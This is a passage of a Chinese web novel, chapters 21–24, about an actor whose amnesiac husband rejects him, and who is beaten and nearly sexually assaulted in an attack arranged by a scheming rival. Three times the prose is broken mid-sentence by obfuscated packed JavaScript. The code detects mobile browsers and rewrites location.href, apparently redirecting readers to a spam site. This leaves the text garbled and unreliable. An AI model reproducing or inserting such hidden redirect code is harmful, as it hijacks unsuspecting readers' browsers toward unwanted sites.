只要想到那张脸,一种陌生的,如同冬日暖阳般炽热的感觉,会悄然从心脏最深处滋生,然后缓缓流淌至四肢百骸。
——让他觉得……很舒服、很平静、甚至,有一种难以言喻的……满足感。
长庭知蹙着眉,垂眸看着怀里笑得像个孩子一样的余赋秋,那准备推开他的手,悬在半空,最终……只是略显僵硬地落在了对方的后背上。
轻轻地‘嗯’了一声。
21. 第 21 章
“妈妈!”
七岁的长祈春继承了父母的优良的基因,个子已经蹿到了一米三,肥嘟嘟的脸上还带着小孩特有的圆滚滚,他垫着脚尖,吃劲儿才按到了上面的门铃。
“爸爸!”
“春春回来啦!”
“叮咚——”
“叮咚——”
长祈春静静地等待着门开,可是他按了很久,门都没有要打开的迹象。
不在家吗?
可是姑姑说爸爸和妈妈今天都在家呀,而且也过完五周年纪念日了,他才从国外回来,可为什么不接电话呢?
长祈春歪着头,拿出了小天才电话手表,在妈妈的电话上停顿了下,妈妈可能刚拍完戏很累。
他往下移了一个位置,打电话给‘爸爸’。
“您好,您拨打的号码是空号——”
长祈春的动作一顿。
“小宝,这个号码可是你妈妈在你这个年纪给我办的,他怕我走丢了。”
“你看他多爱我,不过这个号码只有我能用,嘿嘿……”
长祈春实在受不了爸爸每天在他耳边喋喋不休的秀恩爱,还是五岁的他用胖嘟嘟的手推搡着长庭知的脸,歪头疑问:“爸爸,只是个号码而已啊,为什么对你这么重要?”
他还记得父亲把他抱起来,认真看他的眼眸,说:“因为这是用他的身份证报的,是他来到这个世界……光明正大的身份,他的使用者是我,他和我绑定在一起。”
他对长祈春说:“爸爸不在的时候,你一定要好好照顾妈妈。”
他对长祈春道歉:“一直以为,都是妈妈在照顾你,我虽然是你爸爸,但是我和你时间呆的时间很少,我拼了命的工作,只是为了你们有更好的生活,我不想再让你妈妈这么辛苦了。”
父亲停顿了下,亲了亲他的额角。
长祈春即使只有五岁,但在这个时刻,眼眶酸涩,其实说不埋怨父亲是假的,妈妈工作又忙,每次幼儿园看到有爸爸妈妈来接送,而他只能是保姆司机接送,明明爸爸之前答应过会来接他的,可到最后还是食言了。
长庭知用手轻拍着长祈春,“接下去,辛苦你了。”
“小宝,如果……哪天我不再是你爸爸,你记得,一定要保护好妈妈。”
“他没了我,至少……他还有你。”
长祈春不明白父亲为什么会对五岁的他说这个话,但他记得那晚的父亲非常温柔,给他掖好了被角,久违地给他讲了森林里熊的故事。
“春春?”
余赋秋的声音从背后传来。
长祈春回过神来,手还拍着门框,看见余赋秋的那瞬间,眼睛里闪烁了漫天的星星,他飞奔过去,沉甸甸的书包都摇晃起来,扑进余赋秋的怀抱。
“妈妈!”
“你怎么回来了?怎么不给妈妈打电话?”
余赋秋接过长祈春的书包,“呀,里面是什么?姑姑给你买了这么多东西?”
“对呀!”长祈春从包里掏出来几个漂亮的石头,“这是我捡到的石头!”
“还有这个寄居蟹!爸爸说他想要这个,我找了好久才捡到的。”长祈春晃了晃瓶子里的寄居蟹,探头看余赋秋的身后,后面的石板路上空无一人,只有漫天的落叶落在地上,“妈妈,爸爸呢?”
真奇怪,今天的爸爸居然不跟在妈妈的后面,他每次回家的时候,爸爸必定会在下一个路口出来,而且每次都在妈妈的身后,看见他就跟看见敌人一样,把妈妈抱入怀中,不让妈妈抱他。、
妈妈亲他,爸爸都能吃醋吃很久,真是小气鬼。
长祈春瘪了瘪嘴,兴奋道:“嘿嘿,这下是我先遇到了妈妈,爸爸肯定又要生我气了,小气鬼,喝凉水,喝了凉水变魔鬼……”
他的话语刚落,就看到余赋秋脖子上青紫的痕迹。
他这才注意到,明明是深冬的季节,H市的气温已经降至零下了,可妈妈穿着的很单薄,身上就一个单薄的毛衣,袖口很宽大,风都从衣领衣袖灌进去。
妈妈的面色很苍白。
长发凌乱,唇瓣红肿,甚至破了皮,脖子上青紫不一的痕迹,甚至脸颊上有一块被纱布遮蔽的地方。
“妈妈……”
长祈春慌乱地脱下自己的围巾,想要套在余赋秋的脖子上,“这么冷的天,你怎么不多穿点,爸爸为什么不提醒你?”
“他……”
余赋秋的喉咙哽咽,拿着保温杯的指节泛着白,“你爸爸工作忙,我,我……”
“我忘记了带衣服了,走的匆忙。”
“……”
长祈春敏锐地感知到了什么,见妈妈不是很想谈论这个话题,他索性换了个话题,拉过余赋秋的手。
妈妈的手好冰。
长祈春却没有萧索回去,只是抓着余赋秋的手紧了些,进入了家里的大门。
“吴叔!”长祈春回家就大喊管家的名字。
家里黑乎乎的,连暖气都没有开,连窗户还开着缝隙,风从窗户灌进来,他感知到妈妈的身形忍不住萧索了一下。
“吴叔!家里为什么不开暖气?妈妈本来身体就不好,为什么你们没人去照顾他?窗户还开着,冷风都吹进来了!”
电话那头,吴叔的声音明显顿了一下,带着几分迟疑和为难:“祈……祈春少爷,您回来了……”
他吞吞吐吐,似乎在斟酌措辞:“这个……是先生……先生他之前特意嘱咐过的……”
“爸爸嘱咐什么了?”长祈春追问道,小脸上满是执着。
吴叔叹了口气,压低了声音,最终还是艰难地说了出来:“先生嘱咐说……家里要节省开支,非必要……不开暖气和部分大功率电器。还有……关于余先生……”
他停顿了一下,声音更低,“先生说,余先生是成年人,可以照顾好自己,不需要我们额外……服务。”
忽然长祈春想到,妈妈以前都是用指纹打开门锁的,但今天不知道怎么回事儿,门锁响了好几次,妈妈对他勉强笑笑,最后背着他打了个电话,换成了密码,才带他进去。
后面这些话,吴叔没有明说,但那未尽之语里的意思,已经足够清晰。
长祈春举着手表,愣在了原地。
他年纪虽小,却也听懂了——是爸爸,是爸爸不让大家照顾妈妈,不让家里开暖气,甚至可能……不想让妈妈回家。
怎么可能呢……
爸爸那么爱妈妈。
爸爸曾经对他说,正是因为他爱妈妈,才会爱着他。
余赋秋将手中冰冷的保温杯放在茶几上,搓了搓冰冷的双手,“春春,妈妈先去开空调,你想吃什么?我让吴叔等等买来。”
至少春春是他的孩子,他不会做这么绝。
……
余赋秋拖着疲惫的身体走到客房,他的东西全都被扔了出来,他是今天早上才一件件收拾好,默默地搬进客房。
这里很冷,没有地暖,没有长庭知的味道。
H市的夜晚很冷,余赋秋只能一个人蜷缩起来,在偌大冰冷的床上想要将自己的身体暖和起来,可他天生体弱,生了春春又伤了根本,最近心情起伏太大,哪里还有多余的热气呢?
以前都是长庭知把他抱在怀中,甚至把他冰冷的脚放在自己的肚子上,感受着小腹的跳动,长庭知会亲亲他,他们四肢交缠,这比任何时刻都要暖和。
余赋秋想到助理说长庭知最近的胃口不好,他就自己煲了汤。
余赋秋抱着一个保温桶,站在长庭知公司楼下,指尖被冻得微微发红。
他花了整整一个上午,小心翼翼,火候恰到好处。
前台依旧礼貌而疏离地拦住他:“抱歉,余先生,没有预约不能上去。”
他没有争辩,只是低声说:“那我等他下班,可以吗?这个……麻烦您到时候交给他。”
他知道这都是长庭知的命
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17124686|196008||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
令,不好为难前台工作人员,将保温桶往前台推了推。
前台小姐看着他那张苍白却难掩精致的脸,以及眼中那抹小心翼翼的期盼,最终还是心软地点了点头。
余赋秋原本坐在他上次坐的地方等待长庭知,但在午休的时候,前台小姐一脸为难地说他占用了地方,或许要去其他地方等待。
于是余赋秋就站在公司大门外不远处的寒风里等着。
从午后等到华灯初上,他蹲坐在门口冰冷的台阶上,等到双腿麻木,等到公司里的人几乎走空。
前台小姐说午休的时候放在总裁办秘书处了。
他心里稍稍松了一口气,带着一点微弱的希望,看了一眼依旧开灯的办公室,转身想要走。
就在他路过公司侧门的垃圾集中处时,神情猛然顿住,一个熟悉的、洗得干干净净的保温桶,赫然躺在几个黑色垃圾袋的旁边,桶盖甚至被随意地扔在一边。
他慢慢地走过去,颤抖着手打开——
里面他精心熬煮的汤,一口未动,已经冰冷,上面甚至漂浮着一些不小心落入的灰尘和碎屑。
余赋秋的动作僵在那里,他喉头梗着,连呼吸都带着阵阵的痛。
满怀心意送来的东西,就这样被当作垃圾,毫不犹豫地丢弃了。
他失魂落魄地抱着那个被丢弃的保温桶,漫无目的地走在回家的路上。
夜色深沉,寒风刺骨,他却感觉不到冷。
余赋秋仰头看了看灰暗的月光,眯起眼睛,今天是什么日子?
头好痛,想不起来了。
在一个昏暗的、通往别墅区近路的小巷口,阴影处突然伸出来几只手,如同鬼魅般猛地将他拽了进去!力道之大,让他毫无防备,整个人狠狠撞在冰冷粗糙的墙壁上,眼前一阵发黑。
“哟,小美人,这么晚了一个人啊?”一个充满酒气的、令人作呕的声音贴着他的耳朵响起。
“长得真标志,这皮肤白的……陪哥几个玩玩?”另一只带着厚茧的手已经迫不及待地抚上他的脸颊,动作轻佻而充满侮辱。
浓烈的酒气和汗臭味混合成一股令人窒息的浊流,瞬间将余赋秋包裹。
他怀里的保温桶“哐当”一声掉在地上,滚落到角落,发出沉闷的声响。
“放开我!你们干什么!滚开!”余赋秋从巨大的惊恐中回过神,开始拼命挣扎。但他的力气在几个明显不怀好意的成年男人面前,显得如此微不足道。
手腕被死死攥住,反剪到身后,疼得他倒吸一口凉气。
污言秽语和不堪的触碰如同冰冷的毒蛇,缠绕上他的身体,滑过他的脖颈,探向他的衣襟。
他感到一阵阵反胃和极致的恐惧,胃里翻江倒海。
“救命——!”他试图呼救,但声音却淹没在巷子外的车流声中,微弱得可怜。
回应他的是更用力的禁锢和一记狠狠的耳光。
“啪!”
“给老子安静点!”
脸颊上火辣辣地疼,耳朵里嗡嗡作响。
拳脚如同雨点般落在他的腹部、背部,带来一阵阵钝痛。
“刺啦——”
单薄的衣衫被粗暴地撕裂,冰冷的空气瞬间侵袭暴露在外的皮肤。
在意识几乎要被恐惧和疼痛吞噬的边缘,在那些肮脏的手在他身上游走的瞬间,一个名字,一个他刻在灵魂深处的名字,几乎是不受控制地、带着血泪的祈求,冲到了他的嘴边——
……庭知……
长庭知……
他渴望从那漆黑的拐角处出现熟悉的身影。
他呼喊着长庭知的名字。
可是,没有回应。
那个名字,如同石沉大海,没有激起任何涟漪。
没有人来。
汤已经变得油腻,味道在巷子里弥漫开来。
这一刻,余赋秋想。
这个冬天。
真的好冷。
22. 第 22 章
“赋秋——!”
在余赋秋挣扎的双手逐渐垂落在身侧的时候,意识要堕入无边深渊之际——
一道声音穿破了阴霾,冲破了重重阻碍,来到了他的面前。
啊,好累。
是谁?
他的庭知吗?
他的庭知再也回不来了。
他活在这个世界上的意义在哪里?
他是负罪出生的产物,被所有人抛弃,只能最后一个人死在精神病院最里面的房间里面。
他好想爱这个世界。
好想生活下去——
可是,他的灵魂像是被抽干了似的。
以这种方式离开,是不是也挺好?
反正也没有人在乎他。
他爱人的人不在了,爱他的……也成为了陌生人。
或许放下,才能得到更好的吧。
“赋秋!!”
“余赋秋!你醒醒!”
这个声音……
余赋秋费力的睁开眼,酷似长庭知的脸出现在面前,他颤抖着伸出手,莹白的手臂上全都是青紫的斑痕。
他的衣衫被撕开,凌乱地搭在衣服上。
他这个样子是不是很狼狈?
不能这么见庭知……
余赋秋的手想要收回去的时候,那人紧紧把脸颊贴在他的掌心中,嘶哑着喊着他的名字,紧紧地把他抱在怀中。
“安全了,安全了,我来了,警察来了……”
那人的脸颊也是冰凉的,带着夜风的寒意,却奇异地传递出一种让人安心的力量。
“球球……”一声嘶哑到极致的、饱含着巨大恐慌和失而复得情绪的呼唤,贴着他的掌心响起,那声音颤抖着,几乎不成调,“球球……是我……”
余赋秋失焦的、空洞的瞳孔,在这熟悉的怀抱和一声声安抚中,极其缓慢地、一点点地重新聚焦。
他涣散的目光,终于落在了近在咫尺的、那张写满了惊惧与心疼的俊美脸庞上。
他干裂的唇瓣微微翕动,想要说什么,想问你怎么会在这里,想告诉他刚才有多可怕……
可是,喉咙里像是被什么堵住了,一阵剧烈的、无法抑制的咳嗽猛地袭了上来。
刺红的血液触目惊心,晕染了那白色的衬衫。
“庭……”
在看清那面容的时候,他的话还是卡在了喉咙里面。
不是记忆中那张魂牵梦绕的脸,不是他的长庭知。
左成双那双眼眸里面全都是担忧,他紧紧地把余赋秋抱在自己的怀里,一向一丝不苟的头发此刻被风吹的凌乱,连同脸上的眼镜都因跑的太快而歪曲到一边。
“左成双……”
他的声带如同被割裂般,一字一句地说道,“怎么……会是你。”
而且你为什么会叫我球球?
只有长庭知会这么叫他……
左成双一把将他抱起,在去医院的路上,把自己的衣服裹在余赋秋的身上。
他叹了口气,揉开余赋秋凌乱的长发,将他抱的更紧了些。
怎么会这么瘦……?
面对他那双凄然的眼眸,他轻声道:“你可能不信……”
“是庭知打电话让我过来找你的。”
余赋秋的眼眸骤然睁大,像是沙漠中找到绿洲的旅人,连呼吸都急促起来。
左成双刚值完夜班,想要回去眯觉的时候,在某个铃声响起的时候,他的神经骤然紧绷起来。
这是他和场长庭知之间固定的电话。
平常没有紧急的事情,根本不会用这个电话打,除非……
可是现在的长庭知失去记忆,变成了另外一个人格,怎么会知道这个电话?
他来不及多想,立刻起身接起了这个电话。
电话那头断断续续,能听见长庭知压抑到极致的声音:“去,去找球球……有人要害他,我不知道他去哪里了,但他手机我上了定位,我会立刻把定位发给你,你要去找他!”
“……你喊他球球,喊他的名字,……”
“庭知!发生了什么,你到底怎么回事儿?为什么……”
“我……”电话那头沉默了下,才听到长庭知干涩的声音:“告诉球球,……”
“我很爱他。”
左成双自然把定位的事情省略了过去,他说:“是他让我来找你,我在这个街道来回转了几圈,忽然听到巷子里有声音,就找到了你。”
左成双的下巴抵在余赋秋的额角,温热的呼吸喷洒在他的臂膀上,距离极为贴近,他垂眸,对上余赋秋那双漂亮含着水雾的眸子,滚动着喉头。
“庭知说,他会回来。”
“他说——”
“他很爱你。”
余赋秋开始剧烈的咳嗽,整个身体都在随之剧烈震颤,仿佛要把五脏六腑都咳出来。
咳嗽牵动了他身上的淤伤和擦伤,带来一阵阵尖锐的疼痛,也让被侵犯的恐惧再次席卷而来。
他一边无法控制地咳嗽,一边生理性地在左成双怀里剧烈地发抖,眼泪混合着咳嗽带来的生理性泪水,汹涌地往下掉。
他像个在暴风雨中终于找到避风港,却仍被雷声吓得瑟瑟发抖的孩子。
在安全的怀抱里,宣泄着后知后觉的、滔天的恐惧与委屈。
不知过了多久,或许是力竭,或许是紧绷到极致的神经终于寻到了一丝可以松懈的缝隙,他紧绷的身体微微软了下来,头一歪,在令人安心的怀抱里沉沉睡去。
只是,即便在睡梦中,那纤细的手指依旧无意识地、紧紧地攥着左成双的衣角,仿佛那是茫茫大海中唯一的浮木。
他眼尾还泛着惊心动魄的红,长长的睫毛被泪水濡湿,如同被风雨打湿的蝶翼,乖顺地垂落着,偶尔还挂着几滴将落未落的泪珠。
小巧的鼻翼偶尔还会轻轻抽动一下,发出几声细微的、委屈的抽噎。
左成双低头,看着余赋秋那仿佛一碰即随的模样,心脏像是被柔软的羽毛轻轻拂过,泛起阵阵的涟漪,他的眉目在无人看见的角落,柔软的不可思议。
让我放纵一下吧。
庭知,抱歉。
暂时……让我僭越,代替你的位置。
让我短暂地、偷偷地,拥有一下你的妻子。
左成双缓缓俯身,最终带着无比的珍视和克制到极致的颤抖,轻轻落在了余赋秋额角。
……
“妈妈?”
春春的声音打断了余赋秋的沉思。
余赋秋回过神来,把电闸拉了起来,黑暗的房子里瞬间亮了起来。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17124687|196008||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
“春春,饿了么?”
余赋秋转身,抱起长祈春,小孩的营养很好,余赋秋抱在怀里还有些沉。
春春摇了摇头,水汪汪的眸子睁着,他现在后知后觉感觉到父亲那一夜的话,他凝视着余赋秋一会儿,忽然在余赋秋的脸上印下一吻,“不饿。”
“妈妈,春春在运动会拿了第一名哦。”春春的小腿晃悠晃悠,头靠在余赋秋的脖子处:“老师说,春春很厉害!”
“所以妈妈,不论发生什么,春春都会在你的身边,春春是个男子汉,可以保护妈妈了!”
余赋秋笑得眼眸弯弯,同时心中充满了无限的苦涩。
他不应该把情绪表达出来。
春春才只有七岁,心思却那么敏感。
忽然,这时候他的手机震动了下。
“妈妈,电话,电话。”
余赋秋抱着春春,弯腰,春春拿到了散落在床边的手机。
“赋秋!”褚楚的声音从电话那头传来,声音充满了担忧:“你没事吧?左医生说你昨天去了医院……”
“没事,没什么大碍。”
只是被打了一顿而已,没什么大不了的。
“那接下去的星光慈善会,我们接到了通知,你还要去吗?”
褚楚问。
星光慈善会?
余赋秋顿了一下,迟到了十五年的剧情终究还是回归了。
在小说中,长庭知和柯祈安就是在这场慈善会相遇,并且长庭知中了药,和柯祈安滚在了一起。
这也是他们爱情的开端。
他必须要阻止剧场开端的开始。
“去,麻烦你了楚楚。”
挂断了电话,余赋秋无力地坐在床上,这本来是他和长庭知的婚房,是他们七年一起居住的房间。
但此刻,他的东西全都被搬去了次卧,原本暖色的墙壁被重新刷成冷色调,连床单家具全都换了新,可余赋秋还是忍不住,偷了一把钥匙,在长庭知不在的时候,一个人静静坐在床上,或者有时候把自己埋在衣柜里面,鼻尖萦绕着长庭知的味道,这会让他感到无比的心安。
春春哒哒哒跑去他的小房间,不知道拿了什么。
余赋秋把自己埋入床上,紧紧抱着枕头,贪婪地嗅着上面的味道,身体的疼痛好似在这一刻骤然缓解了下来。
“妈妈。”
春春脱掉鞋子,爬上了床,坐在余赋秋的旁边,胖胖的小手把手中的一枚平安结系在了余赋秋的手上。
余赋秋晃神。
“这是春春暑假在善思庙和师父学的,师父夸春春的手巧,春春在里面许了很多很多的愿望,积攒了很多很多的祝福,我把他系在妈妈的手上,它会保佑妈妈平安。”
善思庙……
正是长庭知三步一叩首为他和春春求平安福的地方。
“不论发生了什么,春春都会义无反顾的,保护着妈妈,站在妈妈的身后。”
余赋秋怔怔地看着长祈春。
这是他唯一的血脉。
也是长庭知失忆之后。
唯一爱他的人。
或许……
他也不是那么孤单。
所以他是不是……也可以在努力点,让长庭知记起他来,回到他的身边来?
23. 第 23 章
摩天大楼如同冰冷的巨剑直插云霄,玻璃光面折射金黄色的阳光,在最高层的中央,一个身影懒懒地坐在沙发上,划动着手机,看着上面的信息,漂亮的眉头微微蹙起。
“啧……”
“怎么,计划没成功?”
身边坐着一个带着金色眼镜的眼睛人,身着西装,举手投足之间都是上位者的风范,看着他这副模样,嗤笑了声,“没看到余赋秋出事,你落空了呢。”
“长庭知都不记得他了,他还死皮赖脸跟在他身边干什么?”
柯祈安修长的双腿交叠起来。
他遵循梦里的记忆,在那一天正要拿着东西去长庭知的公司有事情,结果一抬头就看见了余赋秋在公司的楼下等着。
他看着手中的卡,勾了勾唇角,顺走了余赋秋托前台要上去的汤,原本前台小姐阻止他,说这个汤是要去送去总裁办公室的,只是总裁现在在开会。
柯祈安的脸人畜无害,他眼尾下扬,露出一个无辜的笑,指了指手中的卡:“姐姐,我就是要上去开会,刚好给庭知哥送了。”
前台看到他手上的那张卡,以为是总裁吩咐的,便也没有拦着。
柯祈安在把那个保温杯顺走后,原本洋溢着笑脸的脸瞬间沉下来,他来到厨房置放垃圾的地方,手指一转,将保温杯‘哐’的一下子扔进了垃圾桶。
“垃圾货。”
他抬起眼眸,冷冷看着散落在垃圾桶的保温杯。
“只是我没想到,那几个男的也太废物了,三个男的竟然按不住一个余赋秋。”
“你花了那么多钱,还费尽心思消抹痕迹,甚至都找好了狗仔,只要暴出余赋秋失身于三个流浪汉的新闻,他的名声将彻底毁于一旦。”
那人放下手中的文件,饶有兴趣地打量一下柯祈安,明明和余赋秋长相有三四分像,漂亮的像一个手办玩玩,“余赋秋和你无冤无仇,你为什么要一心把他往死里搞?”
余赋秋只拍戏,甚至连综艺都很少上,私底下和其他明星的社交更少了,在圈里脾气和人缘都是出了名的好。
据他所知,柯祈安和余赋秋根本没有任何的交际,柯祈安还是余赋秋的粉丝。
“哥。”柯祈安抿了一口咖啡,圆圆的眼睛笑得弯弯,“我只是拿回来原本应该属于我的东西。”
原本属于他的东西?
柯祈北忽然看不懂这个弟弟了,柯祈安是他们家最小的孩子,出生就备受宠爱,性子更是养的天真烂漫,他也不需要继承家业,也不需要担忧任何东西,只要追求他喜欢的就好了。
原本性格温软的弟弟不知道为什么,在遭遇了无故的昏迷苏醒后,像是变成了一个人,眼中尽然是算计。
这让他……很不舒服。
但柯祈安是他弟弟无疑。
他拧了拧眉心,“你想要什么,哥哥都会满足你,何必拿这些不入流的手段?他好歹是长秋集团的总裁夫人,柯氏和长秋集团的合作还没到期,如果他出事了,谁来负责?”
“以后的‘万一’谁说得准呢?哥哥。”
“再说了,既便长庭知失忆不记得余赋秋了,那也是他们的家事,和我们有半点关系吗?”柯祈北拧着眉头,问。
他觉得这个弟弟不对劲,是在把所有关于余赋秋的东西烧毁后,他无意间中甚至看见了柯祈安把余赋秋的照片剪下来,在上面划了一刀又一刀,甚至用鲜红的笔在上面画了一个大大的叉号。
“你难道不想要更多东西吗?”柯祈安拿起镜子,看着镜子中自己的模样,满意地笑了:“比如,长秋集团。”
“所以呢,哥哥,我需要你帮我。”
柯祈安笑得眉目弯弯,眼中如星辰一般亮。
他才是这个世界的主角,从他第一眼见到长庭知,他的心脏就不受控制地狂跳,但那时候的长庭知已经和余赋秋结婚了。
但自从他做了那个梦之后,连现实中的一切都冥冥按照梦里的故事走。
他才知道,长庭知本来就是属于他的。
余赋秋是个小偷。
妄想取代他的位置,害他和长庭知相遇迟了接近十五年!
本来就是他的东西,他为什么不能夺回来?!
所有阻碍他的,都去死吧。
都去毁灭吧。
他才是长庭知命中的主角受,他们在一起才是将一切重新推回了正规。
而他现在做的,不过就是在拨乱反正而已。
怎么能叫谋害呢?
只是拿回属于他自己的而已。
……
“余哥,前面的剧组选角出来了。”
谭铃把结果递给他看。
余赋秋刚拍完一场戏,此刻正在补妆,他脸上的淤青被粉底遮盖的七七八八,只是身上那么多的伤痕,要全部遮住还是很困难。
“胡导演给您打电话。”
余赋秋接过选角的结果,眯着眼睛,在上面看到了柯祈安的名字后,身体还是细不可闻的僵了一瞬,他明明叫人剔除了柯祈安的名字,为什么他还会在候选的名单里面?
“道元。”余赋秋接过电话,因为熬夜拍戏,他的嗓子有些干。
“……我发现了一个很奇怪的现象,”胡道元看着已经确定下来的名单,“我明明叫助理把这些人的表给扔了出去,但其中秦舒力荐柯祈安,他们明明没有任何交集,柯祈安也只是表演系一名学生。”
“不止是秦舒,还有Dave、吴景……所以我没有办法,只能定下了他。”
胡道元说的这几个人全是业界有威望的人,甚至有一个是投资这个余赋秋现在拍这部戏的制作人。
柯祈安作为这本书的主角受,性格是一个小太阳,出身极好的小少爷,他和长庭知走的是救赎的路线,一个阳光小太阳去救赎一个阴暗疯批有自毁倾向的故事。
而反观余赋秋。
他的出生就是个罪恶,甚至后面被送去精神病院,穿入这个世界之后,更是身份无分,连他的户口也是工作攒了很久的钱之后才找人解决的。
要不是长庭知后面保护他,否则按照如今严查户口的话,余赋秋就是妥妥的黑户,不仅仅明星的前途会完蛋,还会进去吃个几年饭。
“……我知道了,辛苦你了,道元。”
余赋秋叹了口气,低垂着眼眸,手指无意识地划动着手机,最终画面定格在长庭知发的最后一条微博。
【长庭知:嘿嘿,即将下飞机,猜我回去给我老婆带了什么礼物,你们肯定会羡慕,五周年等我吧!】
【@eeeeeee:所以,到底
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17124688|196008||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
是啥?这都半个月过去了,怎么一点动静也没有。】
【祖母绿打宝石:饶是长庭知,早就不知道一天发几条vlog,上次就球球给他送了一条领带,他发了十条微博,五条视频,五条图文,三百六十度无死角去拍那条领带,不是,那领带到底有谁在啊?】
【纯情母蟑螂:对啊,球球的新剧已经官宣了,他居然无动于衷?以前在全城的LED屏幕上来回翻滚,包私人飞机在H市上空飞几百遍不带腻的,生怕没人知道他老婆要拍戏了。】
【心如止水:……深有感悟,虽然我不是他们家粉,但我们哥哥上次生日,我们要买屏幕滚动,刚好撞上长庭知包屏幕,以高出市场价五倍的价格,土豪啊土豪,这就是有钱人的play吗。】
【三十宋竖:不对劲,太不对劲了,难道……这是婚变了?】
【长庭知是余赋秋的狗:变nm变变变,你ma飞了,他俩都不可能离婚,孩子都七岁大了,他两把孩子保护的很好,每次出行孩子的脸都被打了马赛克,看长庭知那痴汉样子,你觉得可能离婚?】
【球球球球球球秋:……余赋秋这么漂亮的老婆,娶到手还舍得离婚?看他这张脸,我能吃下三碗饭。】
【我要考研上岸!!!:可是确实有点点这个意思在了,我嗑cp无数,也追过结婚数十年的明星夫妇,如果先前很恩爱、一直在晒的一方某天停止了,极大可能概率,……是可能离婚了,只是还没有通知粉丝。】
【啊啊啊啊啊:啊啊啊啊啊,不要啊,我嗑了他们好久,温柔漂亮大美人X痴情年下小狼狗,这没了,我还吃什么饭啊!!】
【……】
“余哥,长哥,可能是有什么事情吧。”谭铃知道也不敢在余赋秋面前说。
她是余赋秋和长庭知的cp粉头子,更是后援会会长,她日常在超话里活跃,也依稀嗅到了不寻常的味道。
想到前面的保温杯,和再次被拉入巷子的恐惧,余赋秋颤抖的手机都拿不捞。
他下意识地想要去捡手机,但在下一秒,他的指尖触碰到了柔软的肌肤。
他一愣,微微抬眸。
看见了那张魂牵梦绕的脸。
长庭知长腿半蹲,掌心稳稳地接住了他掉落的手机,而余赋秋的指尖搭在了长庭知的掌心,好似是邀请他一起共舞般。
长庭知扫了一眼他停留的界面,忽然拿起手机,把镜头反转过来对着余赋秋。
余赋秋还没回神,便被一股不容抗拒却又不失温柔的力道揽入怀中。
清冽的气息瞬间将他包裹,隔着衬衫布料,耳畔传来长庭知强健有力的心跳,震得他心脏也漏跳了一拍。
长庭知的指尖穿过他柔软的长发,将他更紧地按在自己胸前。
他微微歪头,俊美的脸上依旧没什么表情,却精准地按下了拍摄键。
下一秒,谭铃收到了特别关注的振动消息。
【长庭知:没分,没离,感情很好。{图片}。】
暖金色的逆光里,余赋秋微微睁大的眼眸中带着一丝茫然,脸颊泛着薄红,整个人被紧紧拥在长庭知怀中。
而长庭知,虽依旧面无表情,但那占有欲十足的拥抱姿态,和落在余赋秋发间若隐若现的下颌线条,都写满了无声的亲昵。
24. 第 24 章
长庭知刚发出去不到几分钟,直接上了热搜,并且后面爬上了【爆】字。
【长庭知打破婚变谣传。】
【#没分,感情很好#】
【我老婆是世界上最好的老婆】
【细扒长庭知和余赋秋的恋爱史】
【余赋秋出轨】
【胡导演】
【#小城医生】
“长,长哥。”
谭铃瞪大眼睛,仿佛看见了什么不可置信的东西,连声音都带着细微的颤抖。
自从长庭知失忆了之后,只要有关余赋秋的工作人员的电话,长庭知全部拉黑了,美名其曰无关人员只会浪费他宝贵的时间。
余赋秋知道之后,只是笑了笑,说没事儿,本来麻烦长庭知就已经不太好了,他自己可以解决。
谭铃很想说一句,你们是合法夫夫,现在还要分的这么清楚吗?
本来谭铃已经不抱任何希望,甚至已经准备好了两个人离婚的信息,虽然对余赋秋的名声和工作资源有一定的影响,毕竟余赋秋名义上还是长秋集团的总裁夫人,许多人都想透过他这个橄榄枝去和长秋集团达成合作。
但有余赋秋这张脸,既便在娱乐圈站在那里当一个花瓶,起码饿不死自己。
看着长庭知紧紧把余赋秋抱在怀里的画面,谭铃却觉得过了很久很久,难道是以前的长哥回来了?
“出去。”
长庭知冷淡的声音打乱了谭铃从心中燃起的希望。
余赋秋一愣,从他怀中抬起头来,他以为说的是自己,“那,那你先松手……”
“你,出去。”
长庭知侧眸,面无表情地凝视着站在他们身侧的谭铃。
谭铃的身体止不住的颤抖,身体几乎先比大脑行动起来,在长庭知话音刚落下的时候,她脚底抹油,顺手关上了门。
余赋秋还是维持着抬头的姿势,他逆着光,暖黄的阳光透过窗户的缝隙洒落在他的身上,在他的脸上洒下细碎的金光。
他眼神迷茫,双手僵在半空。
指尖微微颤抖,却始终不敢真正落下,他不敢去抱长庭知,生怕这一切又是一场梦。
他不知道,此刻抱他的人,到底是谁。
是他的长庭知回来了吗?
可是长庭知回来了,不会这么凶对待他的工作人员,但是失去记忆的长庭知……
——根本不会对他这么好。
饶是如此,在长庭知愈发用力的拥抱中,在他有力的臂弯中,余赋秋还是忍不住从心底陡然生出一丝希翼来。
如果,如果呢……
